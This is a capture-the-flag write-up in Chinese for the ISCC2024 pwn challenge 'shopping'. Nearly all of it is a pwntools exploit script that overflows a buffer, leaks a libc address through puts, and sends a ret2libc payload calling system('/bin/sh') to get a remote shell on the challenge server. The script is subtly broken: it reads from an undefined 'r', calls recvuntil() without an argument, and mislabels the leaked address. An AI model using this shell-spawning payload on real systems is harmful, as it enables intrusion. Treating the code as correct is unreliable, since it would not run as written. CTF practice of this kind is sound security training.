# ISCC2024 WriteUp

Whooops+李卓航+925798691@qq.com

### Pwn shopping

### 解题思路

缓冲区溢出

格式化字符串漏洞利用

动态链接库（libc）泄露和利用

ROP链构造

### Exp

# 导入pwn库，用于快速创建Exploit

from pwn import \*

# 导入LibcSearcher3库，用于搜索libc函数偏移

from LibcSearcher3 import \*

# 连接远程服务器

p = remote('182.92.237.102', 10014)

# 设置pwn环境

context(arch='i386', os='linux', log\_level='debug')

context.terminal = ['tmux', 'splitw', '-h']

# 定义函数地址和全局偏移地址

puts\_plt = 0x08048490

puts\_got = 0x0804A018

great = 0x08048624

# 发送第一个请求

p.sendlineafter(b'Do you enjoy ISCC', b'yes')

p.recvuntil()

p.sendlineafter(b'Then I will show you something gpeat.', b'OK')

p.recvuntil(b'Here it is!')

# 构造第一个payload

payload = flat(b'a' \* 0x70, puts\_plt, great, puts\_got)

p.sendline(payload)

# 接收返回结果，并解析出gets函数的真实地址

p.recvuntil(b'a' \* 0x70)

p.recvline()

gets\_real\_addr = u32(r.recv(4))

log.success('gets\_real\_addr==> ' + hex(gets\_real\_addr))

# 计算libc基地址

libc\_base = gets\_real\_addr - 0x5e8a0

log.success('libe\_base==> ' + (hex(libc\_base)))

# 计算system函数地址和/bin/sh字符串地址

system = libc\_base + 0x3a950

log.success('system==> ' + (hex(system)))

bin\_sh = libc\_base + 0x15912b

# 发送第二个payload

p.recvuntil(b'Here it is!')

payload = flat(b'a' \* 0x70, system, 0, bin\_sh)

p.sendline(payload)

# 交互模式

p.interactive()